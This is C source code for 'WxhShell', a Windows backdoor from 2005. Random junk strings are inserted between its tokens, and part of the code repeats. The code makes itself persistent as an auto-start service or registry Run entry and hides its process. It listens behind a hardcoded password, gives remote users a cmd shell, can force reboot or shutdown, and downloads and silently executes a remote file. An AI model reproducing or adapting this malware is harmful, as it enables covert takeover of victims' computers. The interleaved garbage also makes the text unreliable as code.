>&3l ULONG UniqueProcessId; |~z3U> ULONG InheritedFromUniqueProcessId; rVY?6OMkd } PROCESS_BASIC_INFORMATION; t{!/#eQC )IQ* PROCNTQSIP NtQueryInformationProcess; k^z0Lo|)' =4eUAeH {w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #,G1R7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1Q]Rd |+98h&U~ HANDLE hProcess; jAXR`D PROCESS_BASIC_INFORMATION pbi; cv2]* 2gt+l?O<PS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^EF'TO$ if(NULL == hInst ) return 0; yf!,4SUkU qP7G[%=v g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WJfES2N g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2UiR~P]% NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 62Mdm3 -;$nb~y if (!NtQueryInformationProcess) return 0; ;J]25j]] [u`6^TycP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f-4.WW2FN if(!hProcess) return 0; +td<{4oq8 (?vK_{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $xT1 1 ^ [& ^RP,N~ CloseHandle(hProcess); )>\4ULR83 !DPF7x(-{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 61} i5o if(hProcess==NULL) return 0; Y&K <{\vE @xS]!1- HMODULE hMod; 9t?L\ char procName[255]; Vo\H<_=G unsigned long cbNeeded; >)NQH9'1 tmO`|tn& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +TH3&H5I_A ?Nf
5w CloseHandle(hProcess); GX
}q9 /4*W DiH if(strstr(procName,"services")) return 1; // 以服务启动 #jBN?Z# -p`L%xj\ return 0; // 注册表启动 A?8\Y{FQ } *t(4 $ wO7t!35 // 主模块 4 /'N|c. int StartWxhshell(LPSTR lpCmdLine) iCP~O { Pz%~ST SOCKET wsl; ='}#`', BOOL val=TRUE; RP!
X8~8 int port=0; )u*^@Wo struct sockaddr_in door; je%l dY]/@ UX2lPgKdLz if(wscfg.ws_autoins) Install(); hJf2o E=AVrv5T port=atoi(lpCmdLine); px=]bALU 2/B)O)#ls if(port<=0) port=wscfg.ws_port; 1oty*c T p<s1'" WSADATA data; wC`;f5-> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w_Uh _fn1) if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $'{=R 45Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jnJZ#=) door.sin_family = AF_INET; :U'Cor
H door.sin_addr.s_addr = inet_addr("127.0.0.1"); e)@3m. door.sin_port = htons(port); )*|(i] ut_pHj@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iidT~l closesocket(wsl); /7/0x ./{ return 1; FJ54S } \S4SI mrM4RoO if(listen(wsl,2) == INVALID_SOCKET) { Qhn;`9+L closesocket(wsl); <{Q'&T return 1; |quij0_'e } F}Srn;V Wxhshell(wsl); X(Qu{HhI WSACleanup(); oehaQ#e 1/;o return 0; vWjnI*6T# X%}nFgqQ } QR0(,e$Dl w5,Mb // 以NT服务方式启动 [syj# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3^,QIG { T%IK/"N|+ DWORD status = 0; "& 25D DWORD specificError = 0xfffffff; 2S~R ! ,<`)>2 'o serviceStatus.dwServiceType = SERVICE_WIN32; )OP){/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8e&p\%1 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z[?mc|*x serviceStatus.dwWin32ExitCode = 0; e,0-)?5R serviceStatus.dwServiceSpecificExitCode = 0; 3n]79+w@z serviceStatus.dwCheckPoint = 0; F #`=oM$5 serviceStatus.dwWaitHint = 0; fjG&`m#" wTc)S6%7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j:,9%tg if (hServiceStatusHandle==0) return; 91Z' =(o']ZaaA status = GetLastError(); d`y!cu2} if (status!=NO_ERROR) 5,)vJ,fs { ZDt?j serviceStatus.dwCurrentState = SERVICE_STOPPED; ~h$wH{-U# serviceStatus.dwCheckPoint = 0; -ijC_`> serviceStatus.dwWaitHint = 0; 6'vbT~S! serviceStatus.dwWin32ExitCode = status; .;
Q:p* serviceStatus.dwServiceSpecificExitCode = specificError; `3 cCH SetServiceStatus(hServiceStatusHandle, &serviceStatus); 646JDX[o return; g)"gw+ZFc } EGVM)ur mtAE serviceStatus.dwCurrentState = SERVICE_RUNNING; ?C-Towo=i serviceStatus.dwCheckPoint = 0; 78 f$6J q serviceStatus.dwWaitHint = 0; WXw}^v if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GVGlVAo|@ } V3Z]DA nz]&a1"& // 处理NT服务事件,比如:启动、停止 i)a%!1Ar VOID WINAPI NTServiceHandler(DWORD fdwControl) u=x+J=AH { d+eZub94U switch(fdwControl) }UwO<# { 0RFRbi@n( case SERVICE_CONTROL_STOP: nh+l78 serviceStatus.dwWin32ExitCode = 0; Z4b|| serviceStatus.dwCurrentState = SERVICE_STOPPED; }<a^</s serviceStatus.dwCheckPoint = 0; Smw QET<H serviceStatus.dwWaitHint = 0; p4!:]0c { p'_%aVm7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 64>krmVIe } Z<?OwAWz return; @(g_<@Jz case SERVICE_CONTROL_PAUSE: =c.5874A` serviceStatus.dwCurrentState = SERVICE_PAUSED; fWnD\mx?0 break; ]6r;}1c
case SERVICE_CONTROL_CONTINUE: zi9[)YqxPH serviceStatus.dwCurrentState = SERVICE_RUNNING; NPa\Cg[ break; co8"sz0(U case SERVICE_CONTROL_INTERROGATE: ').}N z break; MGS-4>Q# }; Qn@Pd* DR SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'a6<ixgo0 } O^Q7b7}y nI.x // 标准应用程序主函数 :Qt int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8,P-
7^ { "*1f;+\ {^a36i // 获取操作系统版本 D,v U OsIsNt=GetOsVer(); "\C$ GetModuleFileName(NULL,ExeFile,MAX_PATH); w'MGA V"\0Y0 // 从命令行安装 *iBTI+"] if(strpbrk(lpCmdLine,"iI")) Install(); a8k; (/ f5AjJYq1 // 下载执行文件 ^zzP. if(wscfg.ws_downexe) {
%ts^Z*3u if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ysq'2 WinExec(wscfg.ws_filenam,SW_HIDE); }o4N<%/+ } )L{ghy ^DeERB if(!OsIsNt) { R0ID2:i]F // 如果时win9x,隐藏进程并且设置为注册表启动 fWfk[(M'9 HideProc(); 2WX7nK;I StartWxhshell(lpCmdLine); J]lrS } (.wIe/ else wI]"U2L5 if(StartFromService()) tz4
]qOH8 // 以服务方式启动 I-y#Ks1p+ StartServiceCtrlDispatcher(DispatchTable); KqBk~-G else #} ~qqJ G2 // 普通方式启动 -}O1dEn. StartWxhshell(lpCmdLine); 9{k97D/ ^k5ll=} return 0; )'17r82a } <h%O?mkC {;toI 4#x5MM M FTkqbc =========================================== J;_}lF9d@ X[`bMa7IB( b2aF 'y/ EVp,Q"V] wW>zgTG xh7c VE[UM "
]#7zk9 }bY;q- #include <stdio.h> Tc8un. #include <string.h> N\:.
M #include <windows.h> BdlVabQyKW #include <winsock2.h> G'3qzBJ# #include <winsvc.h> G9g1hie@% #include <urlmon.h> 6"Bic rY $o$
maA0 #pragma comment (lib, "Ws2_32.lib") d>;&9;)H #pragma comment (lib, "urlmon.lib") 2gO2jJlv MZ Aij #define MAX_USER 100 // 最大客户端连接数 R|O8RlH #define BUF_SOCK 200 // sock buffer 0#w?HCx= #define KEY_BUFF 255 // 输入 buffer "Rn3lj0 |D, +P #define REBOOT 0 // 重启 eF[63zx5* #define SHUTDOWN 1 // 关机 TIp:FW[ -@T/b$]'n #define DEF_PORT 5000 // 监听端口
NR;1z ml \4xp, #define REG_LEN 16 // 注册表键长度 G}&Sle] #define SVC_LEN 80 // NT服务名长度 tOfg?)h{dc ]-ZEWt6lsc // 从dll定义API XsnF~)YW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LPMU8Er typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J[f;Xlh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (`y*V;o4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 626Z5Afg /~ x"wo // wxhshell配置信息 EEGy!bff struct WSCFG { ZPbpp@, int ws_port; // 监听端口 nstUMr6 char ws_passstr[REG_LEN]; // 口令 yAoe51h? int ws_autoins; // 安装标记, 1=yes 0=no \[Z?& char ws_regname[REG_LEN]; // 注册表键名 .e_cgad : char ws_svcname[REG_LEN]; // 服务名 ^]{R.(#z char ws_svcdisp[SVC_LEN]; // 服务显示名 y|'SXM char ws_svcdesc[SVC_LEN]; // 服务描述信息 } CeCc0M char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LX^u_Iu int ws_downexe; // 下载执行标记, 1=yes 0=no u_ABt?' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Me
5_4H&Sg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |SyMngIY r*Yi1j/ }; }Ho Qwy|& >JiltF7H0 // default Wxhshell configuration sQMFpIrr struct WSCFG wscfg={DEF_PORT, ]Dw]p!@ "xuhuanlingzhe", 6/rFHY2q 1, X7s
`U5'l "Wxhshell", ^tXJj:wtS "Wxhshell", &hRvol\J "WxhShell Service", xO-+i\ ZV "Wrsky Windows CmdShell Service", y~)1
1]'> "Please Input Your Password: ", aH^RoG} 1, &^W|iXi# "http://www.wrsky.com/wxhshell.exe", &197P7&o "Wxhshell.exe" xQUu|gtL4 }; !Q#{o^{Y~ lT(oL|{#P // 消息定义模块 ;3'.C~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]xuG&O"SBV char *msg_ws_prompt="\n\r? for help\n\r#>"; 0qX3v<+[6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Th=eNL] char *msg_ws_ext="\n\rExit."; \hB5@e4i2 char *msg_ws_end="\n\rQuit."; uDEvzk42 char *msg_ws_boot="\n\rReboot..."; hZ.Z3`v70 char *msg_ws_poff="\n\rShutdown..."; :_O%/k1\@ char *msg_ws_down="\n\rSave to "; ;<leKcvhQ& Q=]w !I\ char *msg_ws_err="\n\rErr!"; LqA@&H char *msg_ws_ok="\n\rOK!"; eut-U/3: # l5"OIq char ExeFile[MAX_PATH];
)oyIe) int nUser = 0; *8LMn HANDLE handles[MAX_USER]; 7}X[
4("bB int OsIsNt; 3D2E?$dX U~pV) J SERVICE_STATUS serviceStatus; ]C) 4 SERVICE_STATUS_HANDLE hServiceStatusHandle; ?mwD*LN3o )b:7-}d // 函数声明 Zl*X?5u int Install(void); KQ~i<1&j int Uninstall(void); aoXb2 2]{ int DownloadFile(char *sURL, SOCKET wsh); B'fb^n< int Boot(int flag); l,kUhZ@W void HideProc(void); #FNcF>3> int GetOsVer(void); lyGhdgWc int Wxhshell(SOCKET wsl); h=:Q-?n- void TalkWithClient(void *cs); VY3& int CmdShell(SOCKET sock); wu)w int StartFromService(void); ~J P=T int StartWxhshell(LPSTR lpCmdLine); 1R,: NUp<e%zB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /Z$&pqs! VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]wtb-PC QDu 2?EYZq // 数据结构和表定义 o#skR4lwe SERVICE_TABLE_ENTRY DispatchTable[] = Rb.SY{}C { oZAB _A)[- {wscfg.ws_svcname, NTServiceMain}, <TP=oq?I/ {NULL, NULL} l6d$V9A }; R=|{n'n$0| ;1a~pF S // 自我安装 !1ED~3/X int Install(void)
Z
/9> { CO`_^7o9( char svExeFile[MAX_PATH]; f`[R7Q5 HKEY key; BG<q IQd strcpy(svExeFile,ExeFile); Y*14v~\' /K(o]J0F // 如果是win9x系统,修改注册表设为自启动 e:5bzk!~ if(!OsIsNt) { {j7uv"|X7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'nwx9]q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O)jWZOVp > RegCloseKey(key); lR(+tj)9uO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g4l
!xT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Jw1IcuH RegCloseKey(key); ?nmn1`UT return 0; bLwAXW2K+ } }&[ } 43@{JK9G } `tn{ei else { xLC3>>P [DF,^4g // 如果是NT以上系统,安装为系统服务 v+X)Qmzf~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oIduxbAp if (schSCManager!=0) {o>j6RS\ { LS917ci- SC_HANDLE schService = CreateService ;9c<K ( N9v1[~ bv_ schSCManager, ,=#F// wscfg.ws_svcname, fIsp;ca[k wscfg.ws_svcdisp, }3OKC2K~ SERVICE_ALL_ACCESS, tQBRA/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y$_eCmq SERVICE_AUTO_START, lw<c2C SERVICE_ERROR_NORMAL, IyWI5Q"t svExeFile, SgS~ {4Zx* NULL, CW,Wx: Y NULL, U4b0*` o NULL, )3>hhuaa NULL, Uk6HQQ NULL D"a~#^ ); j'HZ\_ if (schService!=0) PEW=@xj2y { D?NbW @] CloseServiceHandle(schService); #~<0t(3Q CloseServiceHandle(schSCManager); a+%6B_|\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z}MP)|aH: strcat(svExeFile,wscfg.ws_svcname); !0vG|C;' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6I4oi@hZz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OHhsP}/ RegCloseKey(key); y9>ZwYN return 0; !Rhlf.x } 1f":HnLRM } oz}+T(@O CloseServiceHandle(schSCManager); TztAZ2C } v%iof1 T'
} E.Jkf\ Yq%9M=#k return 1; 4X+ifZO } gk0( ANx SAyufLEv, // 自我卸载 @tZ&2RY1 int Uninstall(void) '|Kmq5) { Q+W1lv8R HKEY key; wfq7ob4^ %)0*&a 4 if(!OsIsNt) { O8j_0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NbU [l RegDeleteValue(key,wscfg.ws_regname); TjwBv6h RegCloseKey(key); =9fajRFTt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .ZJRO>S RegDeleteValue(key,wscfg.ws_regname); \uza=e RegCloseKey(key); 4Za7^c. return 0; Ljx(\Cm } )~HUo9K9 } ,I%g|'2 } YTexv;VNb| else { A*}.EClH nh!a)]c[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); er!DYv if (schSCManager!=0) :[hgxJu+ { |~X ;1j! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C'o64+W^ if (schService!=0) !3 f?:M { =[@zF9 if(DeleteService(schService)!=0) { oaoU _V CloseServiceHandle(schService); / ;,Md,p CloseServiceHandle(schSCManager); ).sRv6/c return 0; a{qM2P(S } ZI 3Nq CloseServiceHandle(schService); #nK>Z[ } X0haj~o[ CloseServiceHandle(schSCManager); '~&9D:( } L.jh } XbD4:i% ^`)) C; return 1; PGLplXb#[S } ~s]iy9i 8p@Piy{p // 从指定url下载文件 [g:$K5\64 int DownloadFile(char *sURL, SOCKET wsh) /M3Y~l$ { @M5#S7q"; HRESULT hr; 9+{G8$Ai char seps[]= "/"; S=e{MI char *token; ]jmL]Ny^ char *file; 5`gQ~ char myURL[MAX_PATH]; e0T34x' char myFILE[MAX_PATH]; vfE6Ggz
Nz],IG. strcpy(myURL,sURL); RWgNo#< token=strtok(myURL,seps); JQ6zVS2SSS while(token!=NULL) }DK7'K { znaUB v_ file=token; 8\5 T3AF token=strtok(NULL,seps); yl1gx } C86J
IC" a+!tT!g&I GetCurrentDirectory(MAX_PATH,myFILE); ~XWQhIAM4 strcat(myFILE, "\\"); lJis~JLd` strcat(myFILE, file); ;[u%_ send(wsh,myFILE,strlen(myFILE),0); obNqsyc77R send(wsh,"...",3,0); 2VE9}%i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G
%Q^o5m if(hr==S_OK) ~nG(5:A5g/ return 0; +E.GLn2/ else <oX7P69 return 1; 0^RXGN zBk'{[y9L } \3S8 62B7 lS'-xEv? // 系统电源模块 al9t^ int Boot(int flag) NH<5*I/ { Y#lk6 HANDLE hToken; 7U2J xE TOKEN_PRIVILEGES tkp; Ooq! 0g v4.#;F.\m if(OsIsNt) { 6Qy@UfB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T2!6(,
s9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dK2p7xo tkp.PrivilegeCount = 1; 4*cU< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #[`:'e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); li 6%) if(flag==REBOOT) { @qnD=mE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6w(6}m.L^ return 0; U}PiY"S< } _G.>+!"2/
else { OC<5E121>Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .P MZX%*v return 0; J1:1B,^y } 1PP $XJtyD } ~ ArP9
K" else { dRaNzK)M if(flag==REBOOT) { 4y'OMRy if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wv/%^3 return 0; (Yis:%c\! } qycI(5S, else { dOoK Lry if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jh?dw3Ai^ return 0; rjP L+T_ } j(k:
@ } 70;Jl).\{ 4@ML3d/ return 1; frT]5?{ } S&\L-@ .b-f9qc= // win9x进程隐藏模块 2m35R& void HideProc(void) g;8jK8Kh { }woo%N P mA*AeP_$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eZdu2.;< if ( hKernel != NULL ) JZD[N Z< { =<X?sj5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .NvQm]N0. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g47-db"5 FreeLibrary(hKernel); de;GrPLAi } 846$x$G4 y?a
Acn$ return; Ie`13 L2 } QZ:8+[oy PV/77{' // 获取操作系统版本 TT4./R: int GetOsVer(void) 'b#0t#|TM { I9mvte OSVERSIONINFO winfo; EVVP]ND winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S!G(a"<W GetVersionEx(&winfo); /`6ZAom9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "gne_Ye. return 1; g)_e]& else |*'cF-lp6v return 0; MF'$~gxo } t$xY #: ghX|3lI\q // 客户端句柄模块 krC{ed int Wxhshell(SOCKET wsl) Y<Xz
wro0 { r]l!WRn SOCKET wsh; aP8H`^DFX> struct sockaddr_in client; pSr{>;bN DWORD myID; x-AZ%)N9 ])
rrG/3 while(nUser<MAX_USER) l-s!A(l { %_{tzXim int nSize=sizeof(client); hDcEGU_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vpld*TL* if(wsh==INVALID_SOCKET) return 1; "(3BvMA&!9 8-_QFgY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _&j}<K$-( if(handles[nUser]==0) _`_%Y(Xat closesocket(wsh); w -
Pk7I else 'eJ+JM<0% nUser++; bD[!/'4eJ } M5*{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I{lT> go ,>:;#2+og return 0; ]Qfn(u=o } ,^x4sA[/ T:IW%?M // 关闭 socket k7>|q"0C void CloseIt(SOCKET wsh) ^H2-RBE# { z-LB^kc8oQ closesocket(wsh); HKqwE=NZ nUser--; )YX 'N<[ ExitThread(0); q*7zx_ o } rSHpS`\ou }*ZHgf]~# // 客户端请求句柄 hlJq-*6' void TalkWithClient(void *cs) kIGbG;"_ { :bWUuXVtJ NLr PSqz SOCKET wsh=(SOCKET)cs; OnF3l Cmu char pwd[SVC_LEN]; IZ=Mlu char cmd[KEY_BUFF]; HE'2"t[a char chr[1]; {iv<w8CU) int i,j; l411a9o EvWzq%z
l while (nUser < MAX_USER) { 5o6>T! <HJl2p N if(wscfg.ws_passstr) { "=+7-` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gx&Tt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 't_[dSO //ZeroMemory(pwd,KEY_BUFF); ;Ww7"-=sw i=0; ??i,Vr@)w while(i<SVC_LEN) { Q<KvBgmT Z7_ zMM // 设置超时 )E,\H@A fd_set FdRead; y-j\zK struct timeval TimeOut; 1xbK'i:-S FD_ZERO(&FdRead); e][B7wZ FD_SET(wsh,&FdRead); /,X[k ! TimeOut.tv_sec=8; *3&fqBg TimeOut.tv_usec=0; Ty<L8+B| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AN24Sf'` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )*Q-.Je/U KM!k$;my if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fb4`| pwd=chr[0]; _x?uU if(chr[0]==0xd || chr[0]==0xa) { ObE,$_ k pwd=0; ;+tpvnV;] break; GD:4"$)[o } >9f%@uSM$3 i++; }j^\(2 } >TP7 }u| CXO2N1~(J // 如果是非法用户,关闭 socket ?@6/E<-Z$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3Te^ } 9:!gI|C Z-U-N send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '2laTl]` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j8n4fv-)f v$7EvFS while(1) { LK;k'IJ Ai/b\:V9S ZeroMemory(cmd,KEY_BUFF); wo3wtx ylB7* >[ // 自动支持客户端 telnet标准 m@Qt.4m%g j=0; -CR?<A4mud while(j<KEY_BUFF) { /MF!GM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Y>~k{AN% cmd[j]=chr[0]; $YXMI",tt< if(chr[0]==0xa || chr[0]==0xd) { 7As|Ns` cmd[j]=0; v9D22,K- break; x&`~R>5/ } h[?O+Z^ j++; *$"gaXI } |0\0a&tkPl jC3Vbm&ZZ // 下载文件 P{5-Mx!{& if(strstr(cmd,"http://")) { 6}(J6T46M[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); p<&Xd}]"^W if(DownloadFile(cmd,wsh)) }->.k/vc send(wsh,msg_ws_err,strlen(msg_ws_err),0); A)~X, else E%'~'[Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qBQ`~4s } eXkujjSw" else { JGFt0He] =fYL}m5E switch(cmd[0]) { PT^c^{V AxZD-|. // 帮助 @_"9D y Y% case '?': { [ G
e=kFB send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -PnyZ2'Z break; Wfz\`y } gxT4PQDy // 安装 {w8 NN-n case 'i': { U^.4Hy&D if(Install()) )OLq_':^@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;=9
>MS} else }HG#s4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "ywh9cp break; 2o9$4{}rG } 2TES>} // 卸载 &I({T`= case 'r': {
c\q
if(Uninstall()) r,]#b[:.s| send(wsh,msg_ws_err,strlen(msg_ws_err),0); yg2uC(2 else "GQl~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lqp8yVO break; S#b-awk } QnI.zq
V // 显示 wxhshell 所在路径 >?]_<: case 'p': { y?)}8T^ char svExeFile[MAX_PATH]; 8LI-gp\ 2 strcpy(svExeFile,"\n\r"); {Rear2 strcat(svExeFile,ExeFile); JI/_ce send(wsh,svExeFile,strlen(svExeFile),0); X>I)~z}9# break; 97,rE$bC } KZbR3mi, // 重启 #-Z8Z
i"44 case 'b': { kJAn4I.l send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;@nFVy>U if(Boot(REBOOT)) ]O`
{dnP send(wsh,msg_ws_err,strlen(msg_ws_err),0); {&[9iIf else { ;+I/ I9~ closesocket(wsh); JTqq0OD} ExitThread(0); Gs*G<P" } 3pXLSdxB break; R|P_GN6> } 4<X!<]3] // 关机 Dw2Q 'E case 'd': { npDIX send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zD)pF1,7:8 if(Boot(SHUTDOWN)) QJW`}`R send(wsh,msg_ws_err,strlen(msg_ws_err),0); M|[ZpM+ else { W><dYy=z5 closesocket(wsh); 8CC/ BOe ExitThread(0); ,SScf98,j } u=&Bmn_ break; -z:&*= } Kv{8iAB#c // 获取shell }4>JO"" case 's': { WV"jH9"[ CmdShell(wsh); 6] z}#" closesocket(wsh); )B!d,HKt; ExitThread(0); A
K/z6XGy break; 70B)|<$ } k]rLjcB // 退出 kL S(w??T case 'x': {
tehUD& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )2Hff. CloseIt(wsh); nd{R
9B break; ;$BdP7i: } X jE>k!=I // 离开 %gcc
y| case 'q': { S*"u/b; send(wsh,msg_ws_end,strlen(msg_ws_end),0); -Z^4L closesocket(wsh); CkRX>)=py WSACleanup(); zQH]s?v exit(1); . -"E^f break; (shK } ~"!a9GZ } {6d b{ ay_ } -Y:ROoFOZ DJQglt}~ // 提示信息 8@M'[jT if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N8!TZ~1$ } S^f:`9ab9 }
df=zF.5 @("}]/O
V: return; R:aYL~ } ^+R:MBK *mBJ?{ ! // shell模块句柄 z}.D"
P+ int CmdShell(SOCKET sock) cX
A t:m { 1Qh`6Ya f STARTUPINFO si; Z0fJ9HW ZeroMemory(&si,sizeof(si)); L|^o71t| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DI&MC9j( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YCw('i(| PROCESS_INFORMATION ProcessInfo; sg'NBAo" char cmdline[]="cmd"; 6U,fz#<,} CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d
`j?7Z return 0; {5Eyr$ } !U BVPR* 1]\TI7/n // 自身启动模式 3SARr>HRyI int StartFromService(void) C%ytkzG_ { F*
#h9
Y typedef struct qSQ@p\O~ { PMKb ]y DWORD ExitStatus; 135vZ:S DWORD PebBaseAddress; zH'2s-.bi DWORD AffinityMask; +=8X8<Pu DWORD BasePriority; FBsn;,3<W ULONG UniqueProcessId; /qxJgoa ULONG InheritedFromUniqueProcessId; ,.g}W~S) } PROCESS_BASIC_INFORMATION; o&^NwgRCF gKL1c{BV PROCNTQSIP NtQueryInformationProcess; [xpQH? M^H90GN)X static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3:|-#F*k{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]@SU4 ]0D9N" HANDLE hProcess; u fw cF* PROCESS_BASIC_INFORMATION pbi; W3LP
~ D{AFL.r{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4YJ=q% G if(NULL == hInst ) return 0; jNy?[
